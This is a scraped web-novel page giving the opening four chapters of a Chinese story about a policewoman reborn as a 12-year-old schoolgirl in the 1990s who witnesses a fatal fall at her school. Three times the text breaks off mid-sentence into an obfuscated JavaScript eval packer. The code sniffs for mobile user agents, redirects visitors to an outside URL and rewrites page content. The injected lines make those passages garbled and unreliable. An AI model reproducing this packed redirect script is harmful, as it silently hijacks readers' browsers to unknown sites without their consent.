《刑侦专家她未成年 [九零]》 1. 第 1 章 夜晚,帝都下起了绵绵小雨。 许是暑气未消的缘故,纷如牛毛的雨水还未落地便化作丝丝缕缕的雾气在空气中蔓延。 空气逼仄泥泞,腐朽的潮湿气充盈着城市的各个角落。 世界好似被罩进了一个巨大且密不透风的匣子里,憋得所有人喘不过气。 东郊码头,姜颂禾安静地躺在地上。 雨水混杂着深赭色铁锈,几乎浸透了她的头发。 她的面容煞白,双唇不见血色,微微张开的下颚机械性地颤抖着。 整个港口静谧得可怕,时间都仿佛凝滞住了。 “颂禾……嗡——颂禾……” 急促的叫喊声伴随着断断续续的嗡鸣从远处传来。 模模糊糊间,姜颂禾看见一群人朝着她的方向狂奔着。 他们的步伐凌乱,俨然一副着急慌忙的样子。 姜颂禾看不清他们的脸,闷重的脑子更思考不出他们是谁。 她只知道他们认识她。 冰冷的水气在姜颂禾的脸颊上蓄成一颗饱满的水滴,然后顺着面骨流进她的嘴里。 苦涩中又带了些土气。 身下,洇开的鲜血逐渐吞噬她的理智,姜颂禾感觉自己的四肢麻木无力到了极点,意识也逐渐混沌。她的脑袋很重,克制不住的困意从四面八方席卷而来。 最终,她努力支撑起来的眼皮还是合了起来。 黑暗中,她听到凌乱的脚步逐渐逼近,甚至有人按着她拼命地呼喊—— “顾医生,伤者体温急剧下降……” “联系手术室,随时准备手术!” 他们在摇晃她。 “姜警官……醒醒!醒醒!” “颂禾!” “颂禾!” - “姜颂禾!” 随着一声暴怒,重物摔击桌面的声音在姜颂禾的耳边轰然响起。 姜颂禾“噔”地一下站起身子:“到!” 许是困意未消的缘故,姜颂禾的身体不由自主地在空气中晃动了几下。 她闭着眼,意识一时间有些拉不回来。 “哈哈哈哈……” 注意到周围嬉笑声,姜颂禾睡蒙了的意识逐渐清醒。 她目视了一圈。 这是一间算不得大的屋子,白墙木窗,长桌窄凳,规整统一的长方形双人课桌和一群穿着红白色外套的小孩子占满整个空间。 一切都像极了一个设备齐全的教室。 只是…… 这发旧坑洼的桌子!这掉屑泛黄的墙面!这斑驳黝黑的天花板!还有门口这泛着年代感的木门和充满年代感的原色供暖炉! 我靠! 这还是二十一世纪吗? 给她干哪儿来了?! 姜颂禾觉得自己脑袋疼得厉害,掌心不自觉扶上自己的脑门。 残存的前世记忆停留在一个雨夜码头,当时她在抓嫌疑犯,结果在殊斗的过程,嫌疑犯朝她打了一枪。 然后她就进入半昏迷状态了。 再然后她就什么都记不得了…… 她是死了吗? “姜颂禾,说一下,老师刚才讲了什么。” “啊?” 思绪被打断,姜颂禾仰头看着面前这个比自己高半个身子的中年妇人。 她指了指黑板,不明所以地问:“一元一次方程是什么很重要的知识点吗?怎么人都死了还要学这个?” 不能中年妇人回答她,姜颂禾恍然大悟。 难不成学会了,可以优先投胎进一户好人家? 中年妇人面色逐渐阴沉。 毫无察觉的姜颂禾继续自顾自地说:“那如果我学会了,能不能在不改变国籍的情况下,把这玩意投成粉的?” 说着,姜颂禾摸了一把自己头顶的黑发,补充道:“鹿目圆那种。” “哈哈哈哈……” 周围再次响起一阵哄闹。 “姜颂禾,你是没睡醒吗?”一个突兀的顽皮声响起。 “都闭嘴。”中年妇人把手里的课本粗鲁地甩在桌子上。 课本带起的怒风吹得姜颂禾的头发直往后倒,她本能地闭上眼又睁开。 整间教室瞬间鸦雀无声 中年妇人重新拾起课本:“刚开学就想染发!还染粉的,你还想不想上天啊?” 姜颂禾一声没吭,只敢暗自腹诽。 这不就是在天上吗? 中年妇人指着教室后面:“给我滚去后面站着听,别打扰其他同学上课!” 姜颂禾眨眨眼,呆滞了一秒。 “赶紧过去!”中年妇人的耐心忍到了极点,她咬牙切齿道。 “哦……哦……好。” 初来乍到,姜颂禾知道自己惹祸了,她胡乱地抱起课桌上的书打算跑过去。 可还没等她迈开步子,身体先僵住了。 “你又在干嘛?”中年妇人不耐烦地说。 “我刚来,可能不太懂规矩,”姜颂禾踌躇了片刻,问道,“我应该怎么过去?可以走吗?还是飘过去啊。” 周围沉默了一秒,随即—— “哈哈哈哈……” 中年妇人抬手拎起她的耳朵拽向教室后面。 “唉……唉唉……疼……轻点……”姜颂禾龇牙咧嘴地叫喊着。 一直拖到教室后面,中年妇人才松开她:“放学让你家长来一趟。” 姜颂禾不服气地‘哦’了一声。 - 连着两节都是数学课。 讲台上的中年妇人一停没停地传授着知识,底下的学生或认真听讲,或略有精神地趴在桌子后面小声嘀咕。 总之三十个学生,二十多种状态。 后排的姜颂禾接连站了一个半小时,双腿早已酸麻到了极点,她仅能凭借着毅力让它勉强支撑在地。 自她冷静下来,属于原身的记忆便一窝蜂地蹿出来涌进她的脑子里。 这里不是地狱,也不是天堂,而是正常时空下的二十世纪九十年代。 与科技改变生活的二十一世纪不同,这里——计算机技术刚刚起步,移动通信开始普及,智能手机、电子支付、网络购物、卫星导航、新能源智能驾驶汽车直接成了想都不敢想的东西。 没有外卖、没有快递、没有奶茶,就连日常最常用的社交软件——微博、微信等也是十几年后的产物。 虽然对于习惯了高科技生活的人来说,这一切听起来有些糟糕,但姜颂禾庆幸的是这里是经济稳步增长的90年代,而不是更为贫穷的70年代! 两者看似只相差了短短二十年,但人们的生活水平完全提升了不止一个档次。 至少,这个年代存在笨重且大块头的正方形彩色电视,也存在标准的上下开门的冰箱,更存在洗甩分离的双桶洗衣机。 虽说这种日常最低端的电器和现代智能ai电器没法比,但好歹能用不是? 姜颂禾兴致恹恹地半倚靠在教室后面的柜子上,她右手撑着腮,眼角余光没怎么有精神地瞄着柜子上摊开的数学课本。 上面,密密麻麻的数字符号如同一串又一串效果极佳的催睡符,疯狂地攻击着姜颂禾的意识,引得她不自觉打了个哈欠。 这具身体属于一个刚满12岁的初中生,名字和前世的她重名,都叫姜颂禾。 许是因为年纪小,姜颂禾并没有从原主的记忆里搜寻到多少有用的信息,基本就是前天爬树掏鸟蛋把膝盖摔破了皮,昨天把课本烧了烤地瓜挨了一顿骂,然后明天还计划偷骑自家老爹的二八大杠去湖里摸鱼…… 所以与其说这些记忆是原主生活的痕迹,倒不如说是原主的记仇簿。 好事没记住,坏事倒是能写满八百里长卷还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222340|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带转弯。 相较于这些,原主的家庭倒是让姜颂禾轻松不少。 基本情况就是——温柔的爸、和善但喜欢装严厉的妈、不着家的亲哥,和调皮捣蛋的她。 妥妥的幸福一家。 只是……在姜颂禾闭着眼搜寻原主记忆的时候发现——原主对她那位亲哥好像并没有太多的印象,就连记忆也停留在七八年前原主在自家门口哭着喊着让哥哥别乱发脾气好好伺候主家那里。 姜颂禾摸着下巴点头。 难怪七八年都没回来过,原来是给人当童养夫去了。 不过,这个年代这么危险吗?男孩都要被卖去别人家当童养夫了? 童养夫最大年纪是多大来着?…… 原主哥哥的年龄超了吧。 “啊……” 姜颂禾正在出神,突然一个拇指大小的白色物体正中她的脑门。 “姜颂禾,上来解一下这道题。”讲台上严厉的数学老师瞪着她道。 “哦。” 姜颂禾揉着脑袋不情愿地挪步上前。 在众人的注视下,姜颂禾走到黑板前随手拿了一小段白色粉笔,她在扫了一眼题目后,潇潇洒洒地写上了一个数字“6”。 “步骤被你吃了?”老师没好气地敲着黑板。 姜颂禾撇着嘴,虽是不服气,但手里的粉笔依旧不停地在黑板上写着。 长时间没接触初中知识,姜颂禾早已忘记了一元一次方程的得分点。 她只记得计算前要先写一个“解”字。 姜颂禾事无巨细地在黑板上写着步骤,从等式两边为什么相加,到相加以后等式为什么成立,她都一五一十地表述了出来。 后面,答案还没写出来,台下同学就在老师的带领下齐刷刷地鼓起了掌。 姜颂禾心虚地停下笔,她回头看了眼台下,又心虚地看了看自己写下的解题步骤。 这么简单的一元一次方程,她没理由算错吧。 “行了,姜颂禾同学你下去吧。”老师的态度温和了不少。 姜颂禾极听话地应了声:“哦。” “姜颂禾同学写得非常好,给我们提供了非常棒的解题思路,我们以后要跟姜颂禾同学学习!只要我们提前预习新知识,学习再差也可以提高成绩对不对?” 姜颂禾刚把粉笔扔进盒子,台下同学立刻很捧场地喊了句:“对!” 老师示意了一眼讲桌:“姜颂禾,把你考试试卷拿下去。” 姜颂禾很听话地伸手从讲台上摸了一张试卷下去。 她一边拿着试卷往回走,一边用并不怎么正经的余光随便扫了眼试卷表面。 当即!她就被上面密密麻麻的红色叉叉吓住了。 姜颂禾停住脚,慌乱地把试卷翻了个面,只见正面歪七扭八写着姜颂禾三个字的地方被一支红色的笔气愤地划了一个数字。 单笔一个6。 卧槽。 6分? 难怪刚才在她解出一道简单到不能再简单的数学题的时候,所有人都表现得那么惊讶! 合着在他们眼里,她就是一个数学考试只能考6分的学渣啊! 原主是闭着眼考试的吗?! “能知道学习,就是最大进步。我们再给解出答案来的姜颂禾同学一些鼓励好不好。” 这次,没等同学应声,周围便再次响起一阵经久不绝的掌声。 僵在原地的姜颂禾抬眸面露惊恐地扫了眼台下鼓掌的小孩子们。 瞬间,一股没来由地羞耻感从脚趾直冲天灵盖,仿佛这些掌声不是诞生于两手之间,而是诞生于她的脸上。 此刻,姜颂禾就像自家小孩只考六分而被迫请来接受批评教育的家长。 一整个觉得老脸没地方搁。 天杀的,没人告诉她抓“二等功”的代价是又要当小孩,又要扮学渣啊。 2. 第 2 章 “虽然这次成绩,姜同学考得非常不理想……”老师总结道。 姜颂禾尴尬地扯了扯嘴角。 这哪是不理想啊…… 这完全是在搞她心态! 她都怀疑她能重生,纯粹是原主想找个人背锅。 她可真会挑啊,在一群孤魂野鬼中抽中她这么个提前批考进全国顶级警校的学霸。 前世她虽然父母早亡,是个孤儿,但她在学习方面没拉胯过。 拿班级第一就跟喝水一样简单。 可如今,她却要拎着一张考六分的初中试卷,说是自己拼尽全力做的。 荒谬!太荒谬了! 数学老师继续说:“本来我下午给你父母打了电话,让他们放学来一趟的……” “不过看你课堂上有认真听讲,这次我放你一马。过会你家里人来了,你直接跟他们回家吧,不用跟着来办公室找我了。” 姜颂禾松了一口气。 “晚上作业认真写。”老师警告道。 “是。”姜颂禾点头如捣蒜。 姜颂禾赶紧收起试卷,她刚打算原路走到教室后面。 突然,窗外一个黑色的庞然大物正以一个极快的速度下坠。 “嘭——” 随着楼外一声闷重的重物落地声,意识到不对的姜颂禾快步转身冲到窗边,她拉开窗户,踩着一个凳子探身看下去。 地下躺着一个女人,她侧脸趴在地上,鲜血在身体周围扩散。 她的衣服被空气撕碎,裸露在外面的四肢以近乎残忍的角度扭曲着。被摔到皮开肉绽的肌肤上沾满了地上的尘土和土块儿,脏兮兮的泥土死死地扒住肌肤表面,与表面难以言说的血块掺杂着混在一起。 好在不蔽体的布料零零散散地遮住女人的关键部位,让她的死状不至于太过于难堪。 只是那大张的嘴巴和瞪到凸起的眼睛怎么看都觉得有点死不瞑目。 教室里,几名学生走到窗边好奇地想要往下看。 姜颂禾快速拢紧窗户,她从凳子上跳下来,冲着讲台上的老师着急大吼道:“看好你班学生,一个都别让他们出来!” “哦……好……”被吓呆住的老师愣愣的点了下头。 姜颂禾把试卷拍放在后排的柜子上,然后快步冲出教室。 中途遇到因为好奇聚在楼道里的班级老师,她还不忘提醒他们回教室管好自己的学生。 姜颂禾跳着跑下教学楼,她刚路过转角,抬眼便看到一个男人半蹲在尸体旁边检查着什么。 “别动她!”姜颂禾远远地喊了句。 听到声音,男人半转身子,肩膀挡住了他半张脸。 从姜颂禾的角度上看过去只能看到他半露的眼睛。 不知道她的话男人听进去多少,只见他缓缓站起身子,双手插兜,向尸体外围走了几步。 姜颂禾不管不顾地向前奔跑,她跳过几片绿植区域,直到与男人擦肩而过,她才得以看清他的眼睛。 那是一双深邃细长的桃花眼,满是俯视的角度让他整个人看起来既淡漠又疏离。 好装…… “哎哎哎——” 姜颂禾还没腹诽完,下一秒她就感觉自己的衣领被人拽住,然后狠狠地向后扯了下。 毫无防备的姜颂禾踉跄了几步,险些跌倒。 她好不容易稳下身子,还是被男人拎着领子逮住的。 “站这儿!”男人一字一字命令道。 姜颂禾一遍打量着他一边陈述道:“你不是学校老师吧。” 我凭什么听你的? 男人没有回话。 半响,他像是在姜颂禾脸上发现了什么。 他双手插兜,弓腰与姜颂禾平视,披在肩膀上的黑色外套很有垂感的落在他平直的背上。 “我们是不是在哪儿见过?”男人冷不丁问道。 “哈?”姜颂禾用一副‘你丫有病’的表情盯着他。 她刚来,她怎么知道? 男人拎着姜颂禾的校服衣领,让她配合地左右转了几下。 姜颂禾扎着两个麻花辫盘成的小揪揪,身体转动起来头发一晃一晃的。 像是觉得好玩,男人转动的速度加快。 “我要吐了……”姜颂禾好不容易站稳脚,脑袋里传出来的眩晕感让她有点想吐,“yue……” “赶紧放开我,”好不容易缓过来的姜颂禾终于暴躁了,她握紧拳头道,“你再转,你再转我打掉你脑壳!” 许是察觉到姜颂禾没啥威胁,她的愤怒落在男人眼里跟小猫喷火一样滑稽。 “脾气还挺大,”男人站直身子,吐槽道,“不过,现在你还够得着吗?” 他在嘲笑她的身高! “我靠,我和你拼了。”说着,姜颂禾低头拿脑门向他冲过去。 男人先是一躲,随即再次拎起借着“脑门”冲向尸体的姜颂禾。 他拎着姜颂禾的衣领拉起又放下:“就知道,你小子没憋什么好屁。” “还想去案发现场呢。” 计划被抓包,姜颂禾气到不行,她双臂环胸,任由男人拎着自己。 脸上写满了不服气。 “姜队,顶楼没人。”另外一个气喘吁吁的男人跑过来。 “知道了。”被唤作‘姜队’的男人把姜颂禾放在地上,安排道,“我刚给局里打过电话,他们还有十分钟到。我们先控制好现场,避免发生恐慌。” 刚跑来的男人没应声,反而笑道:“这不会就是你家那小孩吧,长得跟你还挺像。” 姜队觑了手里的姜颂禾一眼,道:“应该不是,我们家基因大概生不出一个矮子。” 忍无可忍的姜颂禾骂骂咧咧:“我前世一七二,腿长106!” 姜队:“前世?” 姜颂禾心一凉。 姜队再次凑近她,面无表情地调侃道,“那我是不是还要喊你一声祖宗啊?” 姜颂禾:…… 她以为他发现她穿越者的身份了,结果他只在意她的辈分?! 姜颂禾尴尬地扯了几下嘴角:“那倒也不必……” 毕竟按照辈分您才是我祖宗。 “你是谁?怎么进学校来的?”一个中年妇人冲下来厉声打断了两人的对话,是先前罚站姜颂禾的那位数学老师,“离我学生远点。” 男人站直身子,没来得及回答,远处的戴满钥匙的保安便唧哩桄榔地匆匆赶来,他操着一口流利的方言,气喘吁吁道:“你俩娃!有正大门不走,怎么还跳大门啊,赶都赶不上……” 话音刚落,赶到的保安立刻被不远处的躺着的女人吓了个半死:“你……你们杀的?” 姜队叹了口气,刚准备回答,先前略占下风的姜颂禾极不安分地踩住他的脚。 “嘶——” 姜队疼得倒吸口凉气,随即他拎着姜颂禾的衣领,一甩手把她扔了出去。 “不是我们,我们也刚到。”姜队拍着身上的泥土道。 姜颂禾踉跄着倒进数学老师怀里,她刚站稳就迫不及待地挥着拳头冲过去。 数学老师手疾眼快地用胳膊制住她。 “你们是谁啊。”数学老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222341|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉声问道。 看到陆续有不少老师从教学楼的方向赶过来。 姜队从口袋里拿出一本警察证,简明扼要道:“刑警,刚从省厅调回来。” 眼尖的姜颂禾一秒看到了上面的文字。 「姓名:姜酩野」 职位……京祁市刑侦大队队长?! 他还队长呢! “我是顾枳聿,他的搭档,”顾枳聿说着示意了一下旁边的双手插兜的姜酩野,“也是个刑警。” “哦。” 数学老师眼看着姜颂禾的眼睛都要长到那本警察证上了,她一只手捂住姜颂禾的眼,另一只手则悄摸把她拉到自己身后:“需要我给医院打电话吗?” “不用了,我到的时候,人已经死了,”姜酩野冷声道。 刚随着人群赶到的校长隋原明显表现得十分得体冷静,他奉承道:“真是巧,学校发生这么大的事儿,要不是您凑巧在附近,我们还真不知道怎么办好了。” 顾枳聿微笑着揭他老底道:“不巧,他家小孩数学考了六分,他是被你们学校的老师叫来挨训的。” 捕捉到关键词,数学老师低眸看了眼身后的姜颂禾:“你家里人?” “哈?”姜颂禾仰头疑惑,“怎么可能,我不认识他啊。” 姜酩野若有深意地觑了姜颂禾一眼,冲着校长安排道:“学校发生这么大的事,如果可以,我建议学校提前放学,避免造成学生恐慌。” “还有,和死者相关的人,麻烦都叫过来,我们警方需要逐一排查。” “行,我们一定配合,”隋原利落地答应道,“张老师,你先带着你班学生回去,顺便麻烦你跟各班老师说一声,今天提前放学,让学生走前门,避开这里。” “还有让送完学生的老师都去体育馆,配合警方办案。” “好。”数学老师答应下来。 “校长你留一下,我有点情况需要问。”姜酩野话音刚落,并头也不转地再次拎住准备起跑的姜颂禾。 原是数学老师刚准备离开,被她禁在身后的姜颂禾再次一不留神撒丫子冲向了尸体的方向,结果又被姜酩野抓包了。 数学老师把姜颂禾再次拽回了自己身边:“姜颂禾,跟我回教室,别捣乱。” 这具身体年纪小,力气远远比不上一个成年人。姜颂禾无论怎么努力都挣脱不了数学老师的束缚。 她只得眼睁睁地看着尸体距离自己越来越远。 “等一下。”姜酩野冷不丁叫住他们。 “怎么了姜队?”愣住的数学老师问道。 姜酩野没有说话,反而弓腰再次把脸凑到了姜颂禾面前。 他端详她许久,冷不丁念叨了句:“姜颂禾?” “你干嘛?!”被限制住胳膊的姜颂禾警惕地盯着他。 干嘛突然念她的名字? 毫无征兆地,姜酩野抬手捏住了姜颂禾略带肉感的脸。 “啧——” 原本姜颂禾的表情就充满了鄙夷,被他这样无征兆的一拽,表情越发不耐烦。 她努力张开嘴,试图把姜酩野的手“弹”出去。 可是无果,她越努力,姜酩野的手越用力。 “哇开哇(放开我)。”姜颂禾嘴一边漏着气一边说。 姜酩野无视掉她的抗议,甚至他还不知收敛的把姜颂禾的另一侧脸也捏在手里。 姜颂禾的眸子向下骨碌碌地盯着那双有些糙感的手。 许久,姜酩野淡定地念了两个字—— “胖了。” 姜颂禾满脸问号:“哈?” 3. 第 3 章 半响,反应过来的姜颂禾当即暴走。 捏她脸,还嫌弃她胖,他礼貌吗? 一个气急上头的姜颂禾卯足了劲儿把自己的脑门冲姜酩野的鼻子冲过去。 嘭—— “哦……” 姜酩野疼到后退了几大步。 “嚯……”顾枳聿饶有兴致地看着这一切。 姜酩野一边仰着头,一边擦拭着人中,生怕姜颂禾一头给他撞出鼻血来。 意识到自家学生闯祸了的数学老师赶紧把姜颂禾拉到自己身后,用自己较为宽大的身体挡住她:“小孩年纪小不懂事。” 姜颂禾个子虽是不高,但气势倒是挺足的,她偏出头,伸手指着比她高半个身子的姜酩野威胁道:“下次再捏我脸,劳资把你脑壳打掉。” 又是打掉他脑壳。 姜酩野被当场气笑了。 数学老师一边赔笑着,一边赶紧把姜颂禾嚣张指人的手按下去:“她开玩笑的。” 叛逆的姜颂禾换了只手继续指,数学老师再次按下去:“她真的是开玩笑的。” 这次姜颂禾直接抬起了一只脚继续指。 数学老师:…… 姜酩野气到失语。 反应半天后,他才弓腰与躲在数学老师身后的姜颂禾四目相对,他咬牙切齿地威胁道:“你给我等着。” - 我等你八辈子祖宗! 被接回家的姜颂禾坐在自己的小房间里,钢笔横在鼻子和上嘴唇中间。 脑子里想的都是白天发生的案件。 尸体成趴卧状,面部着地,说明死者生前要不是正面跳楼的,要不就是一个不注意被人从身后推下楼的。 如果是正面跳楼,那么可分为两种情况,一种为无清醒意识,即醉酒或者服用了麻痹意识的药物的情况;另外一种则是有清醒意识,即死者清楚知道并且能控制自己行为的情况。 无意识情况下,基于身体本能,身体在下落的过程中,四肢会自然蜷缩,手脚呈支撑状。也就说,尸体最后应该是蛙趴状。而有意识的情况下,死者则会因为过于害怕而忘记用四肢保护自己。 很显然,尸体现在并不是蛙趴状,她更趋向于平坦、扭曲…… 那么在有意识的情况下,答案只有两个——一个是死者主动求死,一个是被人推下楼的。 当然也不排除死者生前被人打晕,陷入重度昏迷、彻底无意识的时候,被人推下去的。 只是这一点还需依据法医的鉴定报告判断。 姜颂禾转了一下钢笔,继续思量。 死者衣服虽破碎,但不难看出是精心打扮过的。并且脸上妆容精致,指甲有明显被仔细修整过的痕迹,可以判定死者生前是一个热爱生活并且追求精致人生的爱美主义者。 所以根本不可能在意识清醒的情况下主动求死。 想到这儿,姜颂禾把钢笔拿到自己手里,她无意识转动笔身的速度加快。 当然仅凭尸体落地姿势这一点不足以判断死者是被人推下去的,毕竟姿势也容易受风力和层高的影响。可今日无风,教学楼楼层又只有五层,就算从顶楼跳下,也可以基本忽略这两个因素对尸体落地时的影响。 所以最有可能的事,她是被人谋杀的…… 学校门口有保安,教学楼里还有随时走动的学生和老师,谁会在人群这么密集的地方杀人呢。 “禾禾吃饭了。”门口邱女士喊了句。 “来了。”姜颂禾放下钢笔,刚准备起身走出去。 瞥眼看到数学作业本上被她不知何时罗列出来的各种线索,姜颂禾倒吸一口凉气,随即一个转身快速把纸上的线索撕下来藏自己兜里。 中途觉得不放心,她又折返回去把线索塞进了数学课本里。 姜颂禾磨磨唧唧半天,才从自己的小屋里走出来。 此时客厅里一男一女正在客厅和厨房中间来回忙活。 其中那位穿着围裙的邱女士停下来掐腰念叨了句:“赶紧去洗手,在屋里磨蹭什么呢。” 邱女士是原主的妈妈,本名邱滢,是个纺织厂工人,平时厂子里不要的衣服她都会带回来给原主穿。 此时姜颂禾身上这件绣着小蕾丝边的吊带睡衣就是她带回来的。 “你还有时间骂她,你过会儿不是要出去吗?”一个带着无边框眼镜的男人端着盘子从厨房里走出来道。 他是原主的爸爸,本名姜万湫。工科毕业,前些年当过小学数学老师。 后来因为能力出众,被一个车厂挖去当了个小领导。 工资虽然比当老师的时候多了几块钱,但也都是平时加班赚的辛苦钱。 每次原主放学回家基本见不到他。 怎么?这么个大忙人今天回来得这么早? 姜颂禾洗过手,疑惑着坐在餐桌旁边拉开的椅子上。 看着桌子上大大小小的四五个菜,姜颂禾问道:“今天是有什么重要的人来吗?” 正在卸下围裙的邱滢,略带温怒地说:“你好好在家学习,没人来。” 虽是生气,但邱滢依旧没有要发火的迹象。 只是姜颂禾听着有些不得劲。 “她是不是生气了?”姜颂禾指着邱滢,没客气地问。 姜万湫笑着把一个鸡腿塞到姜颂禾碗里:“还不是你数学只考了六分,把你妈气的。” “喔。” 提到这一点,姜颂禾确实不占理,她拿起鸡腿默默啃了几口,中途还不忘用目光瞄几眼正在忙活着的邱滢。 坐在餐桌上的姜万湫问:“听说你们学校死人了?” “是啊,”姜颂禾被鸡腿撑得腮帮子都鼓了出来,她嘟嘟囔囔着说,“摔死的,从我们教学楼顶上掉下来当场没了气。” “没吓着你?”姜万湫停下筷子,问。 “怎么可能吓到我?”姜颂禾嚼东西的速度加快,“我胆子这么大。” “是,”赶出来的邱滢嗔怒着道,“你胆子大到可以一个人直冲案发现场了。” “当时情况紧急嘛。”姜颂禾解释。 “下次可不能一个人冲案发现场了,”姜万湫道,“多危险啊,万一凶手就在案发现场附近怎么办?” 姜颂禾:“当然是抓住他啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222342|165827||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我还能让他跑了不成?” 姜万湫:…… 姜万湫启唇刚要开口教育,眼尖的姜颂禾一抬眼便看到了从厨房里端着一盆饺子出来的邱滢。 虽然90年代国内经济快速发展,肉类不再是仅为有钱人家供应的奢侈品,但是这个时代初期,普通人家还做不到顿顿吃肉、吃饺子吧。 “今天要来的是哪个亲戚啊。”姜颂禾把啃掉的鸡腿骨头放在一边,并嗦着左手指肚上的油渍,“他是很久才回一次吗?是哪个近亲?姑姑,还是大姨?” “你怎么知道是亲戚来了?”姜万湫好奇问。 “要是爸爸你的同事,那妈妈绝对会做一桌子菜,再配上一壶酒,就不会单独做饺子了,”姜颂禾解释道,“毕竟在酒局上真喝起来,根本来不及吃后面的主食就醉倒了,给你们做饺子吃纯属浪费。” “那万一没倒呢。”姜万湫问。 “没倒就做面吃啊,反正酒桌上最重要的是前菜和酒,主食什么的根本不重要,能垫饱肚子就是好主食。”姜颂禾说。 “那为什么你会觉得是好不容易回来的近亲啊。”姜万湫继续问。 “因为包饺子是印在我们中国人骨子里的传统,除了大型团圆节日呢,它能出现的场合只有最高级别的欢迎和送别仪式。换句话说也只有近亲回来或离开,才值得包一顿饺子,”姜颂禾继续说,“咱们家,你、我都不走,可不就是有人回来了吗?” “媳妇,你看咱闺女,说话一套一套的。”姜万湫看着忙进忙出的邱滢欣喜地说,“可真聪明。” “是,”邱滢瞥了姜颂禾一眼,敷衍道,“她聪明到数学只考六分。” “那也聪明,随你。”姜万湫说道。 “我也觉得。”姜颂禾默默附和道。 邱滢被气得没了脾气。 饭吃到一半,邱滢起身去厨房拿了个搪瓷盆出来,里面盛满了饺子。 “够吃吗?”姜万湫关切地问,“他们单位七八号人呢。” “够了,他们又不是饭桶。”邱滢轻声说。 “不是饭桶也都是年轻小伙儿,饭量本来就大。”姜万湫担忧地说。 一直观察着两位的姜颂禾默默啃着自己的鸡腿,眼睛转得骨碌碌地。 许是亲缘关系的影响,穿越来的姜颂禾对原主的这两位亲人并没有太多隔阂,她故作乖巧地问道:“妈,你要出去吗?” “是。”邱滢道。 “去……哪儿啊。”姜颂禾嘟嘟囔囔地说。 邱滢最宠这个小女儿,只要她表现得听话一些,她就生不起气来。 邱滢解释:“我要去警局见个人,你在家好好写作业,今天你们老师说你在班级里表现非常好,都会解……” 邱滢后面的话,姜颂禾一丁点没有听进去。 萦绕在她耳边的只有两个字——警局。 警局? 案子?! 尸体?! 口供?! 天助她也! 姜颂禾双目放光。 她把啃到只剩骨头的鸡腿举过头顶,自告奋勇道:“我也去!” 4. 第 4 章 “去什么去?”邱滢知道她刚才的话姜颂禾一句都没听进去,她温怒道,“好好在家写作业。” “我写完了。”姜颂禾嘟囔道。 邱滢不容商量:“写完了也不许去,我出去半个小时就回来。” 姜颂禾撒着娇:“去嘛去嘛……” 邱滢斩钉截铁地拒绝:“不行。” “去嘛……去……” 姜颂禾话还未落,身下冷不丁一凉,等她反应过来,身体早已四仰八叉地卧在了地上。 姜颂禾:!! 她只是想闹一会儿,没想真趴地上啊喂。 姜颂禾把头埋进自己的胳膊底下,她认命地闭上眼。 这该亖的肌肉记忆,能不能别在这个时候控制她的身体啊。 姜颂禾偷瞄着端坐在椅子上争吵的姜万湫和邱滢两个人,有些后悔。 她现在能爬起来吗?这种场景下主动站起来,是不是有点ooc啊? 思量半天,姜颂禾最终还是决定——眼一闭心一横,蠕动着翻个身,然后继续趴在地上一动不动。 “你看,又是这样。”邱滢看着一旁的姜万湫,责怪道,“这就是你生的好闺女。” “别生气别生气,地板我刚拖的,不脏。”姜万湫安抚道。 “就是,不脏。”自知理亏的姜颂禾弱弱地补了句。 “这是地板不脏的问题吗?!”邱滢恼怒着说,“你给我起来。” 既然都这样了,姜颂禾只能作下去:“我不。” “你再不起来我动手了啊。”邱滢威胁道。 “那……你动手呗。”姜颂禾不敢保证自己今晚是否能逃过一顿打,但她依旧壮起胆子小声挑衅。 “快起来,今天吃满十五个饺子,我让你妈带你去。”姜万湫和稀泥道。 “真的假的?”姜颂禾激动地坐起来。 “真的。”姜万湫宠溺着回答道。 “耶!” 邱滢瞪了他一眼。 姜万湫立刻求饶:“她力气大,可以帮你提东西嘛,不用白不用。” 姜颂禾摸着自己的肌肉,自告奋勇道:“对,我力气大,可以帮你提饺子。” 本就不想为难姜颂禾的邱滢妥协:“你就惯她吧。” — 邱滢领着姜颂禾走到警队的时候,整个警队办公室刚好匆匆走出来一个人。 他一见邱滢立马惊喜道:“师母?你怎么来了?” 邱滢没有认出他:“你是?……” “小刚,林建刚,小时候和家里闹别扭,离家出走,被正在当老师的姜叔带回家的那个小孩。”林建刚笑嘻嘻地说,“您忘了?!” “哦……”邱滢有了些印象,她惊喜道,“都长这么大了啊,长得真壮实。” 林建刚不好意思地挠挠后脑勺,并露出一个腼腆的微笑。 邱滢好奇问:“你也干刑警?” “嗯,我在京祁刑警队干了好几年了,”林建刚说完像是突然想起什么,他道,“哦,对,您是来找省厅刚调回来的那位的吧,早就听说他和你们家的关系了。” “他现在在哪儿啊。”邱滢好奇问。 